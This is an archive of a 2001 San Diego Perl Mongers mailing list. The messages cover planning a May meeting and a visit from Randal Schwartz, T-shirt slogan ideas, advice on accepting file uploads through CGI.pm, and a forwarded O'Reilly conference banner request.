From rkleeman at energoncube.net Tue May 1 16:39:31 2001 From: rkleeman at energoncube.net (Bob Kleemann) Date: Thu Aug 5 00:20:19 2004 Subject: It's May Message-ID: ~sdpm~ It's May, which means our May Perl Mongers meeting is coming. May 16 for all interested. Topics to be discussed: anything we want! If you have questions please bring them. If you're working on any new or interesting projects, let's hear about it. I hope to see you all at the meeting. Also, can someone update the website with the date and my new email. ~sdpm~ The posting address is: san-diego-pm-list@hfb.pm.org List requests should be sent to: majordomo@hfb.pm.org If you ever want to remove yourself from this mailing list, you can send mail to with the following command in the body of your email message: unsubscribe san-diego-pm-list If you ever need to get in contact with the owner of the list, (if you have trouble unsubscribing, or have questions about the list itself) send email to . This is the general rule for most mailing lists when you need to contact a human. From merlyn at stonehenge.com Tue May 1 17:54:37 2001 From: merlyn at stonehenge.com (Randal L. Schwartz) Date: Thu Aug 5 00:20:19 2004 Subject: It's May In-Reply-To: References: Message-ID: ~sdpm~ >>>>> "Bob" == Bob Kleemann writes: Bob> ~sdpm~ Bob> It's May, which means our May Perl Mongers meeting is coming. May 16 for Bob> all interested. Topics to be discussed: anything we want! If you have Bob> questions please bring them. If you're working on any new or interesting Bob> projects, let's hear about it. I hope to see you all at the meeting. Bob> Also, can someone update the website with the date and my new email. There's a pretty good chance that Bill and I will be popping in to Sandy Eggo the weekend of May 18th to finalize some parts of our party transactions. I think we'd be up for an event early saturday afternoon, if you've got the time. -- Randal L. Schwartz - Stonehenge Consulting Services, Inc. - +1 503 777 0095 Perl/Unix/security consulting, Technical writing, Comedy, etc. etc. See PerlTraining.Stonehenge.com for onsite and open-enrollment Perl training! ~sdpm~ The posting address is: san-diego-pm-list@hfb.pm.org List requests should be sent to: majordomo@hfb.pm.org If you ever want to remove yourself from this mailing list, you can send mail to with the following command in the body of your email message: unsubscribe san-diego-pm-list If you ever need to get in contact with the owner of the list, (if you have trouble unsubscribing, or have questions about the list itself) send email to . This is the general rule for most mailing lists when you need to contact a human. From rkleeman at energoncube.net Tue May 1 18:13:08 2001 From: rkleeman at energoncube.net (Bob Kleemann) Date: Thu Aug 5 00:20:19 2004 Subject: It's May In-Reply-To: Message-ID: ~sdpm~ On 1 May 2001, Randal L. Schwartz wrote: > There's a pretty good chance that Bill and I will be popping in to > Sandy Eggo the weekend of May 18th to finalize some parts of our party > transactions. I think we'd be up for an event early saturday > afternoon, if you've got the time. Great! Unfortunately I'll be out of town that weekend, but I'm sure our other memebers (and friends) will be up for a meeting with you. Keep us all updated. ~sdpm~ The posting address is: san-diego-pm-list@hfb.pm.org List requests should be sent to: majordomo@hfb.pm.org If you ever want to remove yourself from this mailing list, you can send mail to with the following command in the body of your email message: unsubscribe san-diego-pm-list If you ever need to get in contact with the owner of the list, (if you have trouble unsubscribing, or have questions about the list itself) send email to . This is the general rule for most mailing lists when you need to contact a human. From chris at velocigen.com Tue May 1 18:52:31 2001 From: chris at velocigen.com (Chris Radcliff) Date: Thu Aug 5 00:20:19 2004 Subject: It's May References: Message-ID: <3AEF4C3F.3000207@velocigen.com> ~sdpm~ Hi Mongers, I'm finally finished writing the book, so I'll actually be able to make it to this month's meeting! If anyone's interested, I can regale the group with a tale of hardship and woe entitled, "Why No One Should Ever Write a Five-Hundred Page Book. Ever." If not, you can always read the result at http://www.globalspin.com/thebook/ -- just a first draft so far. I'll personally buy pizza and beverages for the May 16th meeting in penance for missing so many meetings. Come early to make sure you get some. On a lighter note, is anyone interested in talking about SOAP and Web Services? They've been on my mind and in the news lately... I'd also like to know who's planning to attend the Perl conference. We might want to put some t-shirts together; if someone artistic proposes a design, we can get Cafe Press (http://www.cafepress.com) to print them. ~chris Bob Kleemann wrote: > It's May, which means our May Perl Mongers meeting is coming. May 16 for > all interested. Topics to be discussed: anything we want! If you have > questions please bring them. If you're working on any new or interesting > projects, let's hear about it. I hope to see you all at the meeting. > ~sdpm~ The posting address is: san-diego-pm-list@hfb.pm.org List requests should be sent to: majordomo@hfb.pm.org If you ever want to remove yourself from this mailing list, you can send mail to with the following command in the body of your email message: unsubscribe san-diego-pm-list If you ever need to get in contact with the owner of the list, (if you have trouble unsubscribing, or have questions about the list itself) send email to . This is the general rule for most mailing lists when you need to contact a human. From rkleeman at energoncube.net Tue May 1 19:04:22 2001 From: rkleeman at energoncube.net (Bob Kleemann) Date: Thu Aug 5 00:20:19 2004 Subject: It's May In-Reply-To: <3AEF4C3F.3000207@velocigen.com> Message-ID: ~sdpm~ On Tue, 1 May 2001, Chris Radcliff wrote: > > Hi Mongers, > > I'm finally finished writing the book, so I'll actually be able to make > it to this month's meeting! If anyone's interested, I can regale the > group with a tale of hardship and woe entitled, "Why No One Should Ever > Write a Five-Hundred Page Book. Ever." If not, you can always read the > result at http://www.globalspin.com/thebook/ -- just a first draft so far. I've always been interested in this process, so I'm interested in learning what stories there are to tell, and what traps to avoid. > I'll personally buy pizza and beverages for the May 16th meeting in > penance for missing so many meetings. Come early to make sure you get some. > > On a lighter note, is anyone interested in talking about SOAP and Web > Services? They've been on my mind and in the news lately... I've been intrested in these since I haven't gotten much more than high level views of what it can supposedly do and how it can supposedly do them. A real discussion of this would really interest me. Do you have any URL's handy for someone who doesn't know what SOAP is or is capable of? > I'd also > like to know who's planning to attend the Perl conference. We might want > to put some t-shirts together; if someone artistic proposes a design, we > can get Cafe Press (http://www.cafepress.com) to print them. I love this idea. If I had some artistic talent I'd be drawing something up. Anyone have some cool ideas for what might make a good design or slogan? "Perl Hackers of San Diego, UNITE!" "Just A Local Perl Hacker" Others? ~sdpm~ The posting address is: san-diego-pm-list@hfb.pm.org List requests should be sent to: majordomo@hfb.pm.org If you ever want to remove yourself from this mailing list, you can send mail to with the following command in the body of your email message: unsubscribe san-diego-pm-list If you ever need to get in contact with the owner of the list, (if you have trouble unsubscribing, or have questions about the list itself) send email to . This is the general rule for most mailing lists when you need to contact a human. From merlyn at stonehenge.com Tue May 1 19:04:07 2001 From: merlyn at stonehenge.com (Randal L. Schwartz) Date: Thu Aug 5 00:20:19 2004 Subject: It's May In-Reply-To: <3AEF4C3F.3000207@velocigen.com> References: <3AEF4C3F.3000207@velocigen.com> Message-ID: ~sdpm~ >>>>> "Chris" == Chris Radcliff writes: Chris> I'll personally buy pizza and beverages for the May 16th meeting in Chris> penance for missing so many meetings. Come early to make sure you get Chris> some. There's probably no way to make this may 19th and kill two birds with one stone is there? :) -- Randal L. Schwartz - Stonehenge Consulting Services, Inc. - +1 503 777 0095 Perl/Unix/security consulting, Technical writing, Comedy, etc. etc. See PerlTraining.Stonehenge.com for onsite and open-enrollment Perl training! ~sdpm~ The posting address is: san-diego-pm-list@hfb.pm.org List requests should be sent to: majordomo@hfb.pm.org If you ever want to remove yourself from this mailing list, you can send mail to with the following command in the body of your email message: unsubscribe san-diego-pm-list If you ever need to get in contact with the owner of the list, (if you have trouble unsubscribing, or have questions about the list itself) send email to . This is the general rule for most mailing lists when you need to contact a human. From rkleeman at energoncube.net Tue May 1 19:20:29 2001 From: rkleeman at energoncube.net (Bob Kleemann) Date: Thu Aug 5 00:20:19 2004 Subject: It's May In-Reply-To: Message-ID: ~sdpm~ On 1 May 2001, Randal L. Schwartz wrote: > >>>>> "Chris" == Chris Radcliff writes: > > Chris> I'll personally buy pizza and beverages for the May 16th meeting in > Chris> penance for missing so many meetings. Come early to make sure you get > Chris> some. > > There's probably no way to make this may 19th and kill two birds with > one stone is there? :) There's probably no way to make you come down May 16th and kill two birds with one stone is there? :) If everyone is up for making the meeting on May 19 instead of 16, then we can certainly do that. My pref is for the 16 though since I can't make the 19th. ~sdpm~ The posting address is: san-diego-pm-list@hfb.pm.org List requests should be sent to: majordomo@hfb.pm.org If you ever want to remove yourself from this mailing list, you can send mail to with the following command in the body of your email message: unsubscribe san-diego-pm-list If you ever need to get in contact with the owner of the list, (if you have trouble unsubscribing, or have questions about the list itself) send email to . This is the general rule for most mailing lists when you need to contact a human. From merlyn at stonehenge.com Tue May 1 19:27:08 2001 From: merlyn at stonehenge.com (Randal L. Schwartz) Date: Thu Aug 5 00:20:19 2004 Subject: It's May In-Reply-To: References: Message-ID: ~sdpm~ >>>>> "Bob" == Bob Kleemann writes: Bob> On 1 May 2001, Randal L. Schwartz wrote: >> >>>>> "Chris" == Chris Radcliff writes: >> Chris> I'll personally buy pizza and beverages for the May 16th meeting in Chris> penance for missing so many meetings. Come early to make sure you get Chris> some. >> >> There's probably no way to make this may 19th and kill two birds with >> one stone is there? :) Bob> There's probably no way to make you come down May 16th and kill two birds Bob> with one stone is there? :) I'd be happy to, personally, but my friend from LA works on weekdays so it has to be a weekend (we're doing the TJ run again), I have to teach a class in Portland that week, and Bill also works weekdays at his "day" job. So my only choice is fly down friday night, fly back sunday night. Bob> If everyone is up for making the meeting on May 19 instead of 16, then we Bob> can certainly do that. My pref is for the 16 though since I can't make Bob> the 19th. Or just meet twice. :) -- Randal L. Schwartz - Stonehenge Consulting Services, Inc. - +1 503 777 0095 Perl/Unix/security consulting, Technical writing, Comedy, etc. etc. See PerlTraining.Stonehenge.com for onsite and open-enrollment Perl training! ~sdpm~ The posting address is: san-diego-pm-list@hfb.pm.org List requests should be sent to: majordomo@hfb.pm.org If you ever want to remove yourself from this mailing list, you can send mail to with the following command in the body of your email message: unsubscribe san-diego-pm-list If you ever need to get in contact with the owner of the list, (if you have trouble unsubscribing, or have questions about the list itself) send email to . This is the general rule for most mailing lists when you need to contact a human. From chris at velocigen.com Tue May 1 19:49:20 2001 From: chris at velocigen.com (Chris Radcliff) Date: Thu Aug 5 00:20:19 2004 Subject: It's May References: Message-ID: <3AEF5990.8030105@velocigen.com> ~sdpm~ Okay, how about a compromise: We can have a meeting on the 16th for the local fokels, and I'll buy penance pizza for that. Then we can have a Randal-centric meeting Saturday afternoon, and I'll buy pizza for Randal to make sure he shows up. :) How does that sound? ~chris Randal L. Schwartz wrote: > Or just meet twice. :) ~sdpm~ The posting address is: san-diego-pm-list@hfb.pm.org List requests should be sent to: majordomo@hfb.pm.org If you ever want to remove yourself from this mailing list, you can send mail to with the following command in the body of your email message: unsubscribe san-diego-pm-list If you ever need to get in contact with the owner of the list, (if you have trouble unsubscribing, or have questions about the list itself) send email to . This is the general rule for most mailing lists when you need to contact a human. From rkleeman at energoncube.net Tue May 1 20:16:04 2001 From: rkleeman at energoncube.net (Bob Kleemann) Date: Thu Aug 5 00:20:19 2004 Subject: It's May (take 2) Message-ID: ~sdpm~ It's May, which means our May Perl Mongers meeting is coming. May 16 for all interested. Topics to be discussed: anything we want! We can talk about Chris's choice of pizza toppings for the evening; Chris can talk about the pleasure of writing a book from scratch; Randal is apparently coming to town, so we can talk about meeting him that weekend. Also, if you have questions please bring them. If you're working on any new or interesting projects, like something using SOAP, let's hear about it. I hope to see you all at the meeting. ~sdpm~ The posting address is: san-diego-pm-list@hfb.pm.org List requests should be sent to: majordomo@hfb.pm.org If you ever want to remove yourself from this mailing list, you can send mail to with the following command in the body of your email message: unsubscribe san-diego-pm-list If you ever need to get in contact with the owner of the list, (if you have trouble unsubscribing, or have questions about the list itself) send email to . This is the general rule for most mailing lists when you need to contact a human. From chahn at peregrine.com Tue May 1 22:57:46 2001 From: chahn at peregrine.com (Christopher Hahn) Date: Thu Aug 5 00:20:19 2004 Subject: It's May Message-ID: <48EC150CA6E4D311B18600508B95ADF20484466C@mail1-sd.peregrine.com> ~sdpm~ Seeing as the conference is going to be here, how about a takeoff on the "Native" bumper stickers: "Native Monger" .... "Perl Native" Too deep??!? > -----Original Message----- > From: Bob Kleemann [mailto:rkleeman@energoncube.net] > Sent: Tuesday, May 01, 2001 5:04 PM > To: Chris Radcliff > Cc: San Diego Perl Mongers > Subject: Re: It's May > > > ~sdpm~ > On Tue, 1 May 2001, Chris Radcliff wrote: > > > > > Hi Mongers, > > > > I'm finally finished writing the book, so I'll actually be > able to make > > it to this month's meeting! If anyone's interested, I can > regale the > > group with a tale of hardship and woe entitled, "Why No One > Should Ever > > Write a Five-Hundred Page Book. Ever." If not, you can > always read the > > result at http://www.globalspin.com/thebook/ -- just a > first draft so far. > > I've always been interested in this process, so I'm > interested in learning > what stories there are to tell, and what traps to avoid. > > > I'll personally buy pizza and beverages for the May 16th meeting in > > penance for missing so many meetings. Come early to make > sure you get some. > > > > On a lighter note, is anyone interested in talking about > SOAP and Web > > Services? They've been on my mind and in the news lately... > > I've been intrested in these since I haven't gotten much more > than high > level views of what it can supposedly do and how it can supposedly do > them. A real discussion of this would really interest me. > Do you have > any URL's handy for someone who doesn't know what SOAP is or > is capable > of? > > > I'd also > > like to know who's planning to attend the Perl conference. > We might want > > to put some t-shirts together; if someone artistic proposes > a design, we > > can get Cafe Press (http://www.cafepress.com) to print them. > > I love this idea. If I had some artistic talent I'd be > drawing something > up. Anyone have some cool ideas for what might make a good design or > slogan? > > "Perl Hackers of San Diego, UNITE!" > "Just A Local Perl Hacker" > > Others? > > ~sdpm~ > > The posting address is: san-diego-pm-list@hfb.pm.org > > List requests should be sent to: majordomo@hfb.pm.org > > If you ever want to remove yourself from this mailing list, > you can send mail to with the > following > command in the body of your email message: > > unsubscribe san-diego-pm-list > > If you ever need to get in contact with the owner of the list, > (if you have trouble unsubscribing, or have questions about the > list itself) send email to > . > This is the general rule for most mailing lists when you need > to contact a human. > ~sdpm~ The posting address is: san-diego-pm-list@hfb.pm.org List requests should be sent to: majordomo@hfb.pm.org If you ever want to remove yourself from this mailing list, you can send mail to with the following command in the body of your email message: unsubscribe san-diego-pm-list If you ever need to get in contact with the owner of the list, (if you have trouble unsubscribing, or have questions about the list itself) send email to . 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From cabney at cyberpass.net Tue May 1 17:21:53 2001 From: cabney at cyberpass.net (cabney) Date: Thu Aug 5 00:20:19 2004 Subject: It's May In-Reply-To: <48EC150CA6E4D311B18600508B95ADF20484466C@mail1-sd.peregrine.com> Message-ID: ~sdpm~ On Tue, 1 May 2001, Christopher Hahn wrote: > Seeing as the conference is going to be here, how about > a takeoff on the "Native" bumper stickers: > > "Native Monger" Randal Schwartz got drunk in TJ (and all I got was this T-shirt) CA -- PGP PK: http://www.cyberpass.net/~cabney/public.key PK fingerprint: E3 69 7B 8E AF 07 40 2F BD 29 D4 12 6B BB B6 AE ~sdpm~ The posting address is: san-diego-pm-list@hfb.pm.org List requests should be sent to: majordomo@hfb.pm.org If you ever want to remove yourself from this mailing list, you can send mail to with the following command in the body of your email message: unsubscribe san-diego-pm-list If you ever need to get in contact with the owner of the list, (if you have trouble unsubscribing, or have questions about the list itself) send email to . This is the general rule for most mailing lists when you need to contact a human. From cabney at cyberpass.net Tue May 1 17:26:51 2001 From: cabney at cyberpass.net (cabney) Date: Thu Aug 5 00:20:19 2004 Subject: It's May In-Reply-To: Message-ID: ~sdpm~ > Randal Schwartz got drunk in TJ > (and all I got was this T-shirt) Uh, maybe with a picture of Randal pole dancing at the Adelita. (on second thought... ugh!) :) CA -- PGP PK: http://www.cyberpass.net/~cabney/public.key PK fingerprint: E3 69 7B 8E AF 07 40 2F BD 29 D4 12 6B BB B6 AE ~sdpm~ The posting address is: san-diego-pm-list@hfb.pm.org List requests should be sent to: majordomo@hfb.pm.org If you ever want to remove yourself from this mailing list, you can send mail to with the following command in the body of your email message: unsubscribe san-diego-pm-list If you ever need to get in contact with the owner of the list, (if you have trouble unsubscribing, or have questions about the list itself) send email to . This is the general rule for most mailing lists when you need to contact a human. From todd.rockhold at ontogen.com Wed May 2 12:26:42 2001 From: todd.rockhold at ontogen.com (Todd Rockhold) Date: Thu Aug 5 00:20:19 2004 Subject: It's May Message-ID: <01May2.103943pdt.118082@gateway.ontogen.com> ~sdpm~ FWIW, I'd be willing to go to 2 meetings. So, what's with the Cosmic Conspiracy that keeps preventing Kleemann from meeting Merlyn, anyway? It's gotta be frustrating... > -----Original Message----- > From: Chris Radcliff [SMTP:chris@velocigen.com] > Sent: Tuesday, May 01, 2001 5:49 PM > To: San Diego Perl Mongers > Subject: Re: It's May > > ~sdpm~ > > Okay, how about a compromise: We can have a meeting on the 16th for the > local fokels, and I'll buy penance pizza for that. Then we can have a > Randal-centric meeting Saturday afternoon, and I'll buy pizza for Randal > to make sure he shows up. :) > > How does that sound? > > ~chris > > Randal L. Schwartz wrote: > > > > Or just meet twice. :) > > ~sdpm~ > > The posting address is: san-diego-pm-list@hfb.pm.org > > List requests should be sent to: majordomo@hfb.pm.org > > If you ever want to remove yourself from this mailing list, > you can send mail to with the following > command in the body of your email message: > > unsubscribe san-diego-pm-list > > If you ever need to get in contact with the owner of the list, > (if you have trouble unsubscribing, or have questions about the > list itself) send email to . > This is the general rule for most mailing lists when you need > to contact a human. ~sdpm~ The posting address is: san-diego-pm-list@hfb.pm.org List requests should be sent to: majordomo@hfb.pm.org If you ever want to remove yourself from this mailing list, you can send mail to with the following command in the body of your email message: unsubscribe san-diego-pm-list If you ever need to get in contact with the owner of the list, (if you have trouble unsubscribing, or have questions about the list itself) send email to . This is the general rule for most mailing lists when you need to contact a human. From merlyn at stonehenge.com Wed May 2 12:58:31 2001 From: merlyn at stonehenge.com (Randal L. Schwartz) Date: Thu Aug 5 00:20:19 2004 Subject: It's May In-Reply-To: <01May2.103943pdt.118082@gateway.ontogen.com> References: <01May2.103943pdt.118082@gateway.ontogen.com> Message-ID: ~sdpm~ >>>>> "Todd" == Todd Rockhold writes: Todd> ~sdpm~ Todd> FWIW, I'd be willing to go to 2 meetings. Todd> So, what's with the Cosmic Conspiracy that keeps preventing Todd> Kleemann from meeting Merlyn, anyway? It's gotta be frustrating... Hey, you'll all see me in July anyway! Also, I'm consulting with my ride from LA about whether we want to meet with y'all either saturday afternoon or saturday dinner. Since he's my wheels, I live with his schedule. Hope to have an answer later today. -- Randal L. Schwartz - Stonehenge Consulting Services, Inc. - +1 503 777 0095 Perl/Unix/security consulting, Technical writing, Comedy, etc. etc. See PerlTraining.Stonehenge.com for onsite and open-enrollment Perl training! ~sdpm~ The posting address is: san-diego-pm-list@hfb.pm.org List requests should be sent to: majordomo@hfb.pm.org If you ever want to remove yourself from this mailing list, you can send mail to with the following command in the body of your email message: unsubscribe san-diego-pm-list If you ever need to get in contact with the owner of the list, (if you have trouble unsubscribing, or have questions about the list itself) send email to . This is the general rule for most mailing lists when you need to contact a human. From joel at cts.com Mon May 7 14:03:00 2001 From: joel at cts.com (Joel Fentin) Date: Thu Aug 5 00:20:19 2004 Subject: Passing a file to server Message-ID: <3.0.4.32.20010507120300.007cb430@crash.cts.com> ~sdpm~ I want the user of the website to be able to send a file to the server. It might go something like this: On the browser page, there is an interface (popup & scrolling list?) that permits the user to select a subdirectory and file from his own computer. He presses the button, and the file is FTPed or otherwise sent to the server. If someone can point me in the right direction, I might be able to fill in the blanks. -- Joel Fentin tel: 760-749-8863 FAX: 760-749-8864 email: joel@fentin.com web: fentin.com ~sdpm~ The posting address is: san-diego-pm-list@hfb.pm.org List requests should be sent to: majordomo@hfb.pm.org If you ever want to remove yourself from this mailing list, you can send mail to with the following command in the body of your email message: unsubscribe san-diego-pm-list If you ever need to get in contact with the owner of the list, (if you have trouble unsubscribing, or have questions about the list itself) send email to . This is the general rule for most mailing lists when you need to contact a human. From ricks at mp3.com Mon May 7 14:15:22 2001 From: ricks at mp3.com (Rick Schlientz) Date: Thu Aug 5 00:20:19 2004 Subject: Passing a file to server In-Reply-To: <3.0.4.32.20010507120300.007cb430@crash.cts.com> Message-ID: ~sdpm~ cgi.pm includes a file upload ability. -----Original Message----- From: owner-san-diego-pm-list@pm.org [mailto:owner-san-diego-pm-list@pm.org]On Behalf Of Joel Fentin Sent: Monday, May 07, 2001 12:03 PM To: san-diego-pm-list@happyfunball.pm.org Subject: Passing a file to server ~sdpm~ I want the user of the website to be able to send a file to the server. It might go something like this: On the browser page, there is an interface (popup & scrolling list?) that permits the user to select a subdirectory and file from his own computer. He presses the button, and the file is FTPed or otherwise sent to the server. If someone can point me in the right direction, I might be able to fill in the blanks. -- Joel Fentin tel: 760-749-8863 FAX: 760-749-8864 email: joel@fentin.com web: fentin.com ~sdpm~ The posting address is: san-diego-pm-list@hfb.pm.org List requests should be sent to: majordomo@hfb.pm.org If you ever want to remove yourself from this mailing list, you can send mail to with the following command in the body of your email message: unsubscribe san-diego-pm-list If you ever need to get in contact with the owner of the list, (if you have trouble unsubscribing, or have questions about the list itself) send email to . This is the general rule for most mailing lists when you need to contact a human. ~sdpm~ The posting address is: san-diego-pm-list@hfb.pm.org List requests should be sent to: majordomo@hfb.pm.org If you ever want to remove yourself from this mailing list, you can send mail to with the following command in the body of your email message: unsubscribe san-diego-pm-list If you ever need to get in contact with the owner of the list, (if you have trouble unsubscribing, or have questions about the list itself) send email to . This is the general rule for most mailing lists when you need to contact a human. From chahn at peregrine.com Mon May 7 14:19:07 2001 From: chahn at peregrine.com (Christopher Hahn) Date: Thu Aug 5 00:20:19 2004 Subject: Passing a file to server Message-ID: <48EC150CA6E4D311B18600508B95ADF2048446A8@mail1-sd.peregrine.com> ~sdpm~ Hello, I believe that the selection of the destination folder is handled by the Browser and the OS. I think that all you need to do is to use the proper form element to support file upload (an input whose type is "file"). There are probably better answers... Good luck, Christopher > -----Original Message----- > From: Joel Fentin [mailto:joel@cts.com] > Sent: Monday, May 07, 2001 12:03 PM > To: san-diego-pm-list@happyfunball.pm.org > Subject: Passing a file to server > > > ~sdpm~ > I want the user of the website to be able to send a file to the > server. > > It might go something like this: > > On the browser page, there is an interface (popup & scrolling > list?) that permits the user to select a subdirectory and file > from his own computer. He presses the button, and the file is > FTPed or otherwise sent to the server. > > If someone can point me in the right direction, I might be able > to fill in the blanks. > > > -- > Joel Fentin tel: 760-749-8863 FAX: 760-749-8864 > > email: joel@fentin.com web: fentin.com > ~sdpm~ > > The posting address is: san-diego-pm-list@hfb.pm.org > > List requests should be sent to: majordomo@hfb.pm.org > > If you ever want to remove yourself from this mailing list, > you can send mail to with the > following > command in the body of your email message: > > unsubscribe san-diego-pm-list > > If you ever need to get in contact with the owner of the list, > (if you have trouble unsubscribing, or have questions about the > list itself) send email to > . > This is the general rule for most mailing lists when you need > to contact a human. > ~sdpm~ The posting address is: san-diego-pm-list@hfb.pm.org List requests should be sent to: majordomo@hfb.pm.org If you ever want to remove yourself from this mailing list, you can send mail to with the following command in the body of your email message: unsubscribe san-diego-pm-list If you ever need to get in contact with the owner of the list, (if you have trouble unsubscribing, or have questions about the list itself) send email to . This is the general rule for most mailing lists when you need to contact a human. From ricks at mp3.com Mon May 7 14:38:29 2001 From: ricks at mp3.com (Rick Schlientz) Date: Thu Aug 5 00:20:19 2004 Subject: Passing a file to server In-Reply-To: <48EC150CA6E4D311B18600508B95ADF2048446A8@mail1-sd.peregrine.com> Message-ID: ~sdpm~ Use CGI.pm. You can usually figure out what directory you wanted to upload to by examining the $ENV{HTTP_REFERER} RickS -----Original Message----- From: owner-san-diego-pm-list@pm.org [mailto:owner-san-diego-pm-list@pm.org]On Behalf Of Christopher Hahn Sent: Monday, May 07, 2001 12:19 PM To: san-diego-pm-list@happyfunball.pm.org Subject: RE: Passing a file to server ~sdpm~ Hello, I believe that the selection of the destination folder is handled by the Browser and the OS. I think that all you need to do is to use the proper form element to support file upload (an input whose type is "file"). There are probably better answers... Good luck, Christopher > -----Original Message----- > From: Joel Fentin [mailto:joel@cts.com] > Sent: Monday, May 07, 2001 12:03 PM > To: san-diego-pm-list@happyfunball.pm.org > Subject: Passing a file to server > > > ~sdpm~ > I want the user of the website to be able to send a file to the > server. > > It might go something like this: > > On the browser page, there is an interface (popup & scrolling > list?) that permits the user to select a subdirectory and file > from his own computer. He presses the button, and the file is > FTPed or otherwise sent to the server. > > If someone can point me in the right direction, I might be able > to fill in the blanks. > > > -- > Joel Fentin tel: 760-749-8863 FAX: 760-749-8864 > > email: joel@fentin.com web: fentin.com > ~sdpm~ > > The posting address is: san-diego-pm-list@hfb.pm.org > > List requests should be sent to: majordomo@hfb.pm.org > > If you ever want to remove yourself from this mailing list, > you can send mail to with the > following > command in the body of your email message: > > unsubscribe san-diego-pm-list > > If you ever need to get in contact with the owner of the list, > (if you have trouble unsubscribing, or have questions about the > list itself) send email to > . > This is the general rule for most mailing lists when you need > to contact a human. > ~sdpm~ The posting address is: san-diego-pm-list@hfb.pm.org List requests should be sent to: majordomo@hfb.pm.org If you ever want to remove yourself from this mailing list, you can send mail to with the following command in the body of your email message: unsubscribe san-diego-pm-list If you ever need to get in contact with the owner of the list, (if you have trouble unsubscribing, or have questions about the list itself) send email to . This is the general rule for most mailing lists when you need to contact a human. ~sdpm~ The posting address is: san-diego-pm-list@hfb.pm.org List requests should be sent to: majordomo@hfb.pm.org If you ever want to remove yourself from this mailing list, you can send mail to with the following command in the body of your email message: unsubscribe san-diego-pm-list If you ever need to get in contact with the owner of the list, (if you have trouble unsubscribing, or have questions about the list itself) send email to . This is the general rule for most mailing lists when you need to contact a human. From wwood at ucsd.edu Mon May 7 15:57:14 2001 From: wwood at ucsd.edu (Bill Wood) Date: Thu Aug 5 00:20:19 2004 Subject: Passing a file to server In-Reply-To: <3.0.4.32.20010507120300.007cb430@crash.cts.com> Message-ID: <4.2.2.20010507132956.0129ada0@popmail.ucsd.edu> ~sdpm~ Joel, Below is a snippet of html that can be used to upload a file. I use this in conjunction with a cgi process to validate the content of a file. When form is submitted, the entire contents of the file is sent to your cgi process via the form variable associated with the Submit button. In the snippet below that would be 'thefile'. This variable will be a scalar variable from which you can do what ever you need process your file. If you simply want to save the file, open a file handle and write the scalar variable to the file handle.
Enter the file name (including the path) or press the 'Browse' button to search for the file.
Bill Wood University of California at San Diego Administrative Computing and Telecommunications - 0929 10280 North Torrey Pines Rd. La Jolla, Ca 92093-0929 EMail: wwood@ucsd.edu At 12:03 PM 5/7/2001, Joel Fentin wrote: >~sdpm~ >I want the user of the website to be able to send a file to the >server. > >It might go something like this: > >On the browser page, there is an interface (popup & scrolling >list?) that permits the user to select a subdirectory and file >from his own computer. He presses the button, and the file is >FTPed or otherwise sent to the server. > >If someone can point me in the right direction, I might be able >to fill in the blanks. > > >-- >Joel Fentin tel: 760-749-8863 FAX: 760-749-8864 > >email: joel@fentin.com web: fentin.com >~sdpm~ > >The posting address is: san-diego-pm-list@hfb.pm.org > >List requests should be sent to: majordomo@hfb.pm.org > >If you ever want to remove yourself from this mailing list, >you can send mail to with the following >command in the body of your email message: > > unsubscribe san-diego-pm-list > >If you ever need to get in contact with the owner of the list, >(if you have trouble unsubscribing, or have questions about the >list itself) send email to . >This is the general rule for most mailing lists when you need >to contact a human. Bill Wood University of California at San Diego Administrative Computing and Telecommunications - 0929 10280 North Torrey Pines Rd. La Jolla, Ca 92093-0929 EMail: wwood@ucsd.edu Phone: 858/534-1291 Fax: 858/534-7656 ~sdpm~ The posting address is: san-diego-pm-list@hfb.pm.org List requests should be sent to: majordomo@hfb.pm.org If you ever want to remove yourself from this mailing list, you can send mail to with the following command in the body of your email message: unsubscribe san-diego-pm-list If you ever need to get in contact with the owner of the list, (if you have trouble unsubscribing, or have questions about the list itself) send email to . This is the general rule for most mailing lists when you need to contact a human. From rkleeman at energoncube.net Mon May 7 16:48:33 2001 From: rkleeman at energoncube.net (Bob Kleemann) Date: Thu Aug 5 00:20:19 2004 Subject: Message from O'Reilly (fwd) Message-ID: ~sdpm~ What do you guys think? Should we promote the convention for them, or should we say no? I don'thave any personal objections, but I was curious if anyone else had anything to say about it? ---------- Forwarded message ---------- Date: Fri, 04 May 2001 10:41:09 -0700 From: Denise Olliffe To: rkleeman@energoncube.net Subject: Message from O'Reilly Hi Bobby, I am the User Group Manager for O'Reilly. The O'Reilly Perl Conference 5, and the O'Reilly Open Source Convention will be taking place in San Diego July 23-27. Your group is a member of our UG Program, and I have contacted Garrett Casey to ask that a banner for our conference be placed on your site. I'm not sure if he has seen my email, however wanted to know if it would be possible. Here are the banners to choose from: http://conferences.oreilly.com/oscon/banners/ Please let me know if you'll be able to do this. Thanks, Denise ****************************************** Denise Olliffe Associate Publicist/User Group Manager O'Reilly & Associates 101 Morris Street, Sebastopol, CA 95472 deniseo@oreilly.com, (707) 829-0515 x339 http://ug.oreilly.com/ http://www.oreilly.com/ UPCOMING O'REILLY EVENTS: O'Reilly Open Source Convention July 23-27, 2001 Sheraton San Diego San Diego, California http://conferences.oreilly.com/oscon2001/ O'Reilly Peer-to-Peer and Web Services Conference September 18-21, 2001 Washington, D.C. ~sdpm~ The posting address is: san-diego-pm-list@hfb.pm.org List requests should be sent to: majordomo@hfb.pm.org If you ever want to remove yourself from this mailing list, you can send mail to with the following command in the body of your email message: unsubscribe san-diego-pm-list If you ever need to get in contact with the owner of the list, (if you have trouble unsubscribing, or have questions about the list itself) send email to . This is the general rule for most mailing lists when you need to contact a human. From bruce at brtnet.org Mon May 7 17:54:27 2001 From: bruce at brtnet.org (Bruce Timberlake) Date: Thu Aug 5 00:20:19 2004 Subject: Message from O'Reilly (fwd) References: Message-ID: <000e01c0d748$abdc90f0$02f39140@develop> ~sdpm~ ----- Original Message ----- From: "Bob Kleemann" To: "San Diego Perl Mongers" Sent: Monday, May 07, 2001 2:48 PM Subject: Message from O'Reilly (fwd) > ~sdpm~ > What do you guys think? Should we promote the convention for them, or > should we say no? I don'thave any personal objections, but I was curious > if anyone else had anything to say about it? How could it possibly hurt? It's not like they will probably get *that* many more visitors. It would be *really* nice if we could get a link back from *them* -- might help the membership a bit! =:^) ~sdpm~ The posting address is: san-diego-pm-list@hfb.pm.org List requests should be sent to: majordomo@hfb.pm.org If you ever want to remove yourself from this mailing list, you can send mail to with the following command in the body of your email message: unsubscribe san-diego-pm-list If you ever need to get in contact with the owner of the list, (if you have trouble unsubscribing, or have questions about the list itself) send email to . This is the general rule for most mailing lists when you need to contact a human. From dgwilson at gtemail.net Mon May 7 17:58:13 2001 From: dgwilson 